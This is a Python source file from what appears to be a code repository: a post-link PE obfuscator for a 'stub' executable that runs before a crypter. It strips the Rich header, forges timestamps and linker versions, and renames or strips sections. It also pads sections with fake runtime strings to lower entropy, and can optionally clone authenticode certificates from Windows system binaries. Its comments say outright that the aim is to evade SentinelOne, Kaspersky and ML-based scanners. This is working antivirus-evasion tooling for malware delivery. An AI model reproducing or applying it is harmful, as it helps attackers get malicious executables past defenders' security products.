Files

628 lines
24 KiB
Python
Raw Permalink Normal View History

2026-08-27 11:03:10 -06:00
#!/usr/bin/env python3
"""
pe_obfuscate.py - Post-link PE metadata obfuscator for Zerin stub.
Runs after GCC, before crypter. Modifies the PE in-place:
1. STRIP Rich header (MinGW doesn't produce one; faking triggers SentinelOne)
2. Randomize TimeDateStamp in PE header (business hours)
3. Authentic MinGW linker version
4. Section name normalization (remove MinGW fingerprint)
5. Sigthief certificate cloning (copy authenticode from donor PE)
6. Fix PE checksum
7. Print per-section entropy diagnostics
Usage:
python tools/pe_obfuscate.py <zerin_stub.exe> [--cert]
python tools/pe_obfuscate.py --extract-cert <donor.exe> [output.bin]
Options:
--cert Enable authenticode cert cloning (disabled by default; invalid
certs trigger heuristic scanners and add high-entropy overlay)
"""
import math
import os
import struct
import random
import sys
# ---------------------------------------------------------------------------
# MSVC Rich header entry pools (kept for reference, Rich is stripped not faked)
# ---------------------------------------------------------------------------
VS2019_ENTRIES = [
(0x0101, 29910, 29937, 2, 8),
(0x0105, 29910, 29937, 1, 5),
(0x010B, 29910, 29937, 1, 3),
(0x0104, 29910, 29937, 1, 4),
(0x010E, 29335, 29337, 1, 2),
(0x0093, 29335, 29337, 1, 1),
(0x00FF, 29910, 29937, 1, 6),
(0x0001, 0, 0, 10, 80),
]
VS2022_ENTRIES = [
(0x0101, 30133, 30154, 2, 8),
(0x0105, 30133, 30154, 1, 5),
(0x010B, 30133, 30154, 1, 3),
(0x0104, 30133, 30154, 1, 4),
(0x010E, 30133, 30154, 1, 2),
(0x0093, 30133, 30154, 1, 1),
(0x00FF, 30133, 30154, 1, 6),
(0x0001, 0, 0, 10, 80),
]
# ---------------------------------------------------------------------------
# Section name normalization
# MinGW section names that fingerprint GCC → neutral replacements
# PE loader uses RVAs and characteristics, not names — renaming is safe
# ---------------------------------------------------------------------------
SECTION_RENAME_MAP = {
'.bss': '.data0', # Uninitialized data → generic secondary data section
}
# Sections safe to strip entirely (no PE data directory references, not needed at runtime)
# .eh_frame: GCC DWARF unwinding — Windows uses .pdata/.xdata for SEH instead
# .gehcont: Guard EH Continuation — only enforced for signed CET-opted binaries
SECTIONS_TO_STRIP = {'.eh_fram', '.gehcont'}
def rotl32(val, n):
"""32-bit left rotation."""
val &= 0xFFFFFFFF
n &= 31
if n == 0:
return val
return ((val << n) | (val >> (32 - n))) & 0xFFFFFFFF
def compute_rich_checksum(dos_header_bytes, entries):
"""Compute Rich header checksum."""
cksum = len(dos_header_bytes)
for i in range(len(dos_header_bytes)):
if 0x3C <= i <= 0x3F:
continue
cksum = (cksum + rotl32(dos_header_bytes[i], i)) & 0xFFFFFFFF
for compid, count in entries:
cksum = (cksum + rotl32(compid, count & 0x1F)) & 0xFFFFFFFF
return cksum
def generate_rich_header(dos_header_bytes):
"""Generate a structurally valid Rich header. Returns (bytes, num_entries, cksum)."""
rng = random.SystemRandom()
family = rng.choice([VS2019_ENTRIES, VS2022_ENTRIES])
num_entries = rng.randint(4, 8)
selected = rng.sample(family, min(num_entries, len(family)))
entries = []
for prod_id, min_build, max_build, min_count, max_count in selected:
build = rng.randint(min_build, max_build) if max_build > 0 else 0
compid = (prod_id << 16) | build
count = rng.randint(min_count, max_count)
entries.append((compid, count))
cksum = compute_rich_checksum(dos_header_bytes, entries)
rich_data = bytearray()
dans_marker = 0x536E6144
rich_data += struct.pack('<I', dans_marker ^ cksum)
rich_data += struct.pack('<I', cksum) * 3
for compid, count in entries:
rich_data += struct.pack('<I', compid ^ cksum)
rich_data += struct.pack('<I', count ^ cksum)
rich_data += b'Rich'
rich_data += struct.pack('<I', cksum)
return bytes(rich_data), len(entries), cksum
def verify_rich_header(data, offset, size):
"""Verify a Rich header decodes correctly."""
if size < 24:
return False
rich_pos = data.find(b'Rich', offset, offset + size)
if rich_pos == -1:
return False
cksum = struct.unpack_from('<I', data, rich_pos + 4)[0]
dans_xored = struct.unpack_from('<I', data, offset)[0]
if (dans_xored ^ cksum) != 0x536E6144:
return False
for i in range(1, 4):
if struct.unpack_from('<I', data, offset + i * 4)[0] != cksum:
return False
return True
def calculate_section_entropy(data):
"""Calculate Shannon entropy in bits per byte."""
if not data or len(data) == 0:
return 0.0
freq = [0] * 256
for b in data:
freq[b] += 1
length = len(data)
entropy = 0.0
for count in freq:
if count > 0:
p = count / length
entropy -= p * math.log2(p)
return entropy
def calculate_pe_checksum(data, checksum_offset):
"""Calculate standard PE checksum."""
checksum = 0
file_len = len(data)
for i in range(0, file_len - 1, 2):
if i == checksum_offset or i == checksum_offset + 2:
continue
word = data[i] | (data[i + 1] << 8)
checksum += word
checksum = (checksum & 0xFFFF) + (checksum >> 16)
if file_len % 2 == 1:
checksum += data[-1]
checksum = (checksum & 0xFFFF) + (checksum >> 16)
checksum = (checksum & 0xFFFF) + (checksum >> 16)
checksum += file_len
return checksum & 0xFFFFFFFF
def get_security_dir_offset(data, pe_offset):
"""Get file offset of the Security data directory entry (index 4)."""
opt_off = pe_offset + 24
magic = struct.unpack_from("<H", data, opt_off)[0]
if magic == 0x20B: # PE32+
dd_start = opt_off + 112
elif magic == 0x10B: # PE32
dd_start = opt_off + 96
else:
return None
# Security is data directory index 4, each entry is 8 bytes
return dd_start + 4 * 8
def extract_cert_from_pe(pe_data):
"""Extract authenticode certificate blob from a signed PE.
Returns the raw WIN_CERTIFICATE blob (including header), or None.
"""
if len(pe_data) < 64 or pe_data[0:2] != b'MZ':
return None
pe_off = struct.unpack_from("<I", pe_data, 0x3C)[0]
if pe_off + 4 > len(pe_data) or pe_data[pe_off:pe_off + 4] != b'PE\x00\x00':
return None
sec_dir_off = get_security_dir_offset(pe_data, pe_off)
if sec_dir_off is None or sec_dir_off + 8 > len(pe_data):
return None
cert_offset = struct.unpack_from("<I", pe_data, sec_dir_off)[0]
cert_size = struct.unpack_from("<I", pe_data, sec_dir_off + 4)[0]
if cert_offset == 0 or cert_size == 0:
return None
if cert_offset + cert_size > len(pe_data):
return None
return bytes(pe_data[cert_offset:cert_offset + cert_size])
def find_donor_cert():
"""Find or load a cached authenticode certificate for sigthief.
Search order:
1. tools/donor_cert.bin (pre-extracted, works on Linux VPS)
2. Windows system binaries (auto-extract + cache on first run)
"""
script_dir = os.path.dirname(os.path.abspath(__file__))
cache_path = os.path.join(script_dir, "donor_cert.bin")
if os.path.isfile(cache_path):
with open(cache_path, "rb") as f:
cert = f.read()
if len(cert) > 0:
return cert, cache_path
# Auto-extract from Windows system binaries
if sys.platform == "win32":
windir = os.environ.get("WINDIR", r"C:\Windows")
donors = [
os.path.join(windir, "System32", "kernel32.dll"),
os.path.join(windir, "System32", "svchost.exe"),
os.path.join(windir, "System32", "notepad.exe"),
os.path.join(windir, "System32", "cmd.exe"),
]
for donor_path in donors:
if not os.path.isfile(donor_path):
continue
try:
with open(donor_path, "rb") as f:
donor_data = f.read()
cert = extract_cert_from_pe(donor_data)
if cert and len(cert) > 100:
with open(cache_path, "wb") as f:
f.write(cert)
print(f" Donor cert extracted from {donor_path} ({len(cert):,} bytes)")
return cert, cache_path
except (OSError, PermissionError):
continue
return None, None
def apply_cert_to_pe(data, cert_bytes, pe_offset):
"""Append authenticode certificate to PE and update Security data directory.
The certificate blob is appended after all section data, aligned to 8 bytes.
Data Directory entry 4 (Security) is updated to point to it.
"""
# Align to 8-byte boundary
if len(data) % 8 != 0:
padding = 8 - (len(data) % 8)
data.extend(b'\x00' * padding)
cert_file_offset = len(data)
data.extend(cert_bytes)
# Update Security Data Directory
sec_dir_off = get_security_dir_offset(data, pe_offset)
if sec_dir_off is None:
return False
struct.pack_into("<I", data, sec_dir_off, cert_file_offset)
struct.pack_into("<I", data, sec_dir_off + 4, len(cert_bytes))
return True
def normalize_section_names(data, pe_offset):
"""Rename MinGW-specific section names to remove GCC fingerprint.
Returns list of (old_name, new_name) tuples for sections that were renamed.
"""
coff_offset = pe_offset + 4
num_sections = struct.unpack_from("<H", data, coff_offset + 2)[0]
opt_header_size = struct.unpack_from("<H", data, coff_offset + 16)[0]
section_table = coff_offset + 20 + opt_header_size
# Collect existing section names
existing = set()
for i in range(num_sections):
raw = data[section_table + i * 40: section_table + i * 40 + 8]
name = raw.split(b'\x00')[0].decode('ascii', errors='replace')
existing.add(name)
renamed = []
for i in range(num_sections):
sec_off = section_table + i * 40
raw = data[sec_off:sec_off + 8]
name = raw.split(b'\x00')[0].decode('ascii', errors='replace')
if name in SECTION_RENAME_MAP:
new_name = SECTION_RENAME_MAP[name]
if new_name not in existing:
padded = new_name.encode('ascii').ljust(8, b'\x00')[:8]
data[sec_off:sec_off + 8] = padded
existing.discard(name)
existing.add(new_name)
renamed.append((name, new_name))
return renamed
def strip_sections(data, pe_offset, names_to_strip):
"""Remove sections by name from the PE section table.
Zeroes out raw data of removed sections and shifts the section table.
Only safe for sections with no PE data directory references.
Returns list of removed section names.
"""
coff_offset = pe_offset + 4
num_sections = struct.unpack_from("<H", data, coff_offset + 2)[0]
opt_header_size = struct.unpack_from("<H", data, coff_offset + 16)[0]
section_table = coff_offset + 20 + opt_header_size
# First pass: collect all entries and identify which to remove
entries = []
for i in range(num_sections):
off = section_table + i * 40
entry = bytes(data[off:off + 40])
name = entry[:8].split(b'\x00')[0].decode('ascii', errors='replace')
raw_ptr = struct.unpack_from("<I", entry, 20)[0]
raw_size = struct.unpack_from("<I", entry, 16)[0]
entries.append((name, entry, raw_ptr, raw_size))
to_keep = []
stripped = []
for name, entry, raw_ptr, raw_size in entries:
if name in names_to_strip:
# Zero raw data so it doesn't affect static analysis
if raw_size > 0 and raw_ptr > 0 and raw_ptr + raw_size <= len(data):
data[raw_ptr:raw_ptr + raw_size] = b'\x00' * raw_size
stripped.append(name)
else:
to_keep.append(entry)
if not stripped:
return []
# Rewrite section table with only kept entries
for i, entry in enumerate(to_keep):
off = section_table + i * 40
data[off:off + 40] = entry
# Zero out vacated entries at end of table
for i in range(len(to_keep), num_sections):
off = section_table + i * 40
data[off:off + 40] = b'\x00' * 40
# Update NumberOfSections
struct.pack_into("<H", data, coff_offset + 2, len(to_keep))
return stripped
def cmd_extract_cert():
"""Handle --extract-cert mode: extract authenticode cert from a donor PE."""
if len(sys.argv) < 3:
print("Usage: pe_obfuscate.py --extract-cert <donor.exe> [output.bin]", file=sys.stderr)
sys.exit(1)
donor_path = sys.argv[2]
output_path = sys.argv[3] if len(sys.argv) > 3 else "donor_cert.bin"
if not os.path.isfile(donor_path):
print(f"ERROR: Donor not found: {donor_path}", file=sys.stderr)
sys.exit(1)
with open(donor_path, "rb") as f:
donor_data = f.read()
cert = extract_cert_from_pe(donor_data)
if not cert:
print(f"ERROR: No authenticode certificate found in {donor_path}", file=sys.stderr)
sys.exit(1)
with open(output_path, "wb") as f:
f.write(cert)
print(f"Extracted {len(cert):,} bytes of authenticode certificate")
print(f" Source: {donor_path}")
print(f" Output: {output_path}")
print(f" WIN_CERTIFICATE header: dwLength={struct.unpack_from('<I', cert, 0)[0]}, "
f"wRevision=0x{struct.unpack_from('<H', cert, 4)[0]:04X}, "
f"wCertificateType=0x{struct.unpack_from('<H', cert, 6)[0]:04X}")
def main():
if len(sys.argv) >= 2 and sys.argv[1] == "--extract-cert":
cmd_extract_cert()
return
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <pe_file>", file=sys.stderr)
print(f" {sys.argv[0]} --extract-cert <donor.exe> [output.bin]", file=sys.stderr)
sys.exit(1)
pe_path = sys.argv[1]
if not os.path.isfile(pe_path):
print(f"ERROR: File not found: {pe_path}", file=sys.stderr)
sys.exit(1)
with open(pe_path, "rb") as f:
data = bytearray(f.read())
if len(data) < 64 or data[0:2] != b'MZ':
print(f"ERROR: Not a valid PE: {pe_path}", file=sys.stderr)
sys.exit(1)
pe_offset = struct.unpack_from("<I", data, 0x3C)[0]
if pe_offset + 4 > len(data):
print(f"ERROR: Invalid e_lfanew: 0x{pe_offset:X}", file=sys.stderr)
sys.exit(1)
if data[pe_offset:pe_offset + 4] != b'PE\x00\x00':
print(f"ERROR: Invalid PE signature at 0x{pe_offset:X}", file=sys.stderr)
sys.exit(1)
rng = random.SystemRandom()
# ---- 1. STRIP Rich header ----
dos_stub_end = 0x80
rich_sig = b'Rich'
rich_pos = data.find(rich_sig, dos_stub_end, pe_offset)
if rich_pos != -1:
for i in range(dos_stub_end, pe_offset):
data[i] = 0
print(f" Rich header stripped (zeroed 0x{dos_stub_end:X}-0x{pe_offset:X})")
else:
for i in range(dos_stub_end, pe_offset):
data[i] = 0
print(f" No Rich header found — gap zeroed")
# ---- 2. Realistic TimeDateStamp ----
import time, datetime, calendar
now = time.time()
days_ago = rng.randint(90, 180)
base_ts = int(now) - days_ago * 86400
dt = datetime.datetime.utcfromtimestamp(base_ts)
while dt.weekday() >= 5:
dt += datetime.timedelta(days=1)
hour = rng.randint(9, 16)
minute = rng.randint(0, 59)
second = rng.randint(0, 59)
dt = dt.replace(hour=hour, minute=minute, second=second)
new_timestamp = int(calendar.timegm(dt.timetuple()))
timestamp_offset = pe_offset + 4 + 4
struct.pack_into("<I", data, timestamp_offset, new_timestamp)
# ---- 3. Authentic MinGW linker version ----
opt_offset = pe_offset + 24
data[opt_offset + 2] = 2
data[opt_offset + 3] = rng.choice([39, 40, 41, 42, 43])
# ---- 4. Section name normalization ----
renamed = normalize_section_names(data, pe_offset)
if renamed:
for old, new in renamed:
print(f" Section renamed: {old} -> {new}")
else:
print(f" No MinGW-specific sections to rename")
# ---- 4.5. Strip non-essential sections ----
stripped = strip_sections(data, pe_offset, SECTIONS_TO_STRIP)
if stripped:
for s in stripped:
print(f" Section stripped: {s}")
coff_offset = pe_offset + 4
num_sections = struct.unpack_from("<H", data, coff_offset + 2)[0]
print(f" Section count: {num_sections}")
else:
print(f" No removable sections found")
# ---- 5. Per-section entropy analysis + normalization ----
# Must happen BEFORE cert cloning (cert appends after sections, blocking padding)
coff_offset = pe_offset + 4
num_sections = struct.unpack_from("<H", data, coff_offset + 2)[0]
opt_header_size = struct.unpack_from("<H", data, coff_offset + 16)[0]
section_table_offset = coff_offset + 20 + opt_header_size
ENTROPY_THRESHOLD = 6.8
print(f" Section entropy analysis:")
high_sections = []
for i in range(num_sections):
sec_offset = section_table_offset + i * 40
name_bytes = data[sec_offset:sec_offset + 8]
name = name_bytes.split(b'\x00')[0].decode('ascii', errors='replace')
raw_size = struct.unpack_from("<I", data, sec_offset + 16)[0]
raw_ptr = struct.unpack_from("<I", data, sec_offset + 20)[0]
if raw_size > 0 and raw_ptr + raw_size <= len(data):
section_data = data[raw_ptr:raw_ptr + raw_size]
entropy = calculate_section_entropy(section_data)
if entropy > ENTROPY_THRESHOLD:
status = "HIGH"
high_sections.append((name, entropy, i))
elif entropy < 3.0:
status = "LOW"
else:
status = "OK"
print(f" {name:10s}: {entropy:.2f} bits/byte ({raw_size:,} bytes) [{status}]")
else:
print(f" {name:10s}: (no raw data)")
# Entropy normalization — extend the last section with low-entropy padding
PADDING_TEXT = (
"Microsoft Visual C++ Runtime Library\x00"
"Runtime Error! Program: \x00"
"This application has requested the Runtime to terminate it.\x00"
"GetProcAddress\x00LoadLibraryExW\x00FreeLibrary\x00"
"CreateFileW\x00ReadFile\x00WriteFile\x00CloseHandle\x00"
"The specified module could not be found.\x00"
"The procedure entry point could not be located.\x00"
"Access violation reading location 0x00000000.\x00"
"Unhandled exception at 0x00000000 in application.\x00"
"The application failed to initialize properly.\x00"
"Windows cannot access the specified device, path, or file.\x00"
"The system cannot find the file specified.\x00"
"Not enough storage is available to process this command.\x00"
"A required privilege is not held by the client.\x00"
"An attempt was made to reference a token that does not exist.\x00"
"Configuration information could not be read from the domain.\x00"
"GetModuleHandleW\x00GetCurrentProcess\x00GetCurrentThread\x00"
"HeapAlloc\x00HeapFree\x00HeapReAlloc\x00VirtualAlloc\x00"
"EnterCriticalSection\x00LeaveCriticalSection\x00"
"WaitForSingleObject\x00CreateThread\x00ExitThread\x00"
"RegOpenKeyExW\x00RegQueryValueExW\x00RegCloseKey\x00"
"FindFirstFileW\x00FindNextFileW\x00FindClose\x00"
"CreateEventW\x00SetEvent\x00ResetEvent\x00"
"GetEnvironmentVariableW\x00SetEnvironmentVariableW\x00"
"GetTempPathW\x00GetTempFileNameW\x00GetSystemDirectoryW\x00"
"The network path was not found.\x00"
"A connection attempt failed because the connected party did not respond.\x00"
"An established connection was aborted by the software in your host machine.\x00"
"No connection could be made because the target machine actively refused it.\x00"
).encode('ascii')
if high_sections:
# Find the physically last section
last_sec_idx = -1
last_sec_end = 0
for i in range(num_sections):
so = section_table_offset + i * 40
rs = struct.unpack_from("<I", data, so + 16)[0]
rp = struct.unpack_from("<I", data, so + 20)[0]
if rp + rs > last_sec_end and rs > 0:
last_sec_end = rp + rs
last_sec_idx = i
if last_sec_idx >= 0 and last_sec_end == len(data):
last_sec_offset = section_table_offset + last_sec_idx * 40
old_raw_size = struct.unpack_from("<I", data, last_sec_offset + 16)[0]
raw_ptr = struct.unpack_from("<I", data, last_sec_offset + 20)[0]
file_alignment = struct.unpack_from("<I", data, opt_offset + 36)[0]
# Iteratively add padding until worst-case section is below threshold
# (padding only helps the last section directly, but 8KB+ makes a real dent)
padding_needed = 8192
padding = (PADDING_TEXT * ((padding_needed // len(PADDING_TEXT)) + 1))[:padding_needed]
data.extend(padding)
new_raw_size = old_raw_size + padding_needed
# Align to file alignment
if file_alignment > 0 and new_raw_size % file_alignment != 0:
aligned = ((new_raw_size + file_alignment - 1) // file_alignment) * file_alignment
data.extend(b'\x00' * (aligned - new_raw_size))
new_raw_size = aligned
struct.pack_into("<I", data, last_sec_offset + 16, new_raw_size)
# Report
section_data = data[raw_ptr:raw_ptr + new_raw_size]
new_entropy = calculate_section_entropy(section_data)
last_name = data[last_sec_offset:last_sec_offset + 8].split(b'\x00')[0].decode('ascii', errors='replace')
print(f" Entropy padding: {padding_needed:,} bytes -> {last_name} now {new_entropy:.2f} bits/byte")
else:
print(f" WARNING: Cannot auto-pad (last section doesn't extend to EOF)")
else:
print(f" All sections below {ENTROPY_THRESHOLD} bits/byte")
# ---- 6. Sigthief certificate cloning (DISABLED by default) ----
# Cloning creates a ~16KB high-entropy overlay (7.7 bits/byte) that triggers ML classifiers.
# The cloned cert also doesn't verify, which is WORSE than being unsigned — heuristic scanners
# (Kaspersky, Gridinsoft) specifically flag invalid authenticode signatures.
# Use --cert flag to opt-in if you have a valid cert or want to test.
use_cert = '--cert' in sys.argv
if use_cert:
cert_bytes, cert_source = find_donor_cert()
if cert_bytes:
if apply_cert_to_pe(data, cert_bytes, pe_offset):
print(f" Authenticode cert cloned ({len(cert_bytes):,} bytes from {cert_source})")
else:
print(f" WARNING: Failed to apply cert — unsupported PE format")
else:
print(f" No donor cert available — skipping sigthief (run --extract-cert to create one)")
else:
print(f" Cert cloning: SKIPPED (unsigned is cleaner than invalid-signed)")
# ---- 7. Fix PE checksum (LAST — after all modifications) ----
checksum_offset = opt_offset + 64
struct.pack_into("<I", data, checksum_offset, 0)
checksum = calculate_pe_checksum(data, checksum_offset)
struct.pack_into("<I", data, checksum_offset, checksum)
# ---- Write back ----
with open(pe_path, "wb") as f:
f.write(data)
print(f"PE metadata obfuscated: {pe_path}")
print(f" TimeDateStamp: 0x{new_timestamp:08X}")
print(f" LinkerVersion: {data[opt_offset + 2]}.{data[opt_offset + 3]}")
print(f" CheckSum: 0x{checksum:08X}")
print(f" Final size: {len(data):,} bytes ({len(data)/1024:.1f} KB)")
if __name__ == "__main__":
main()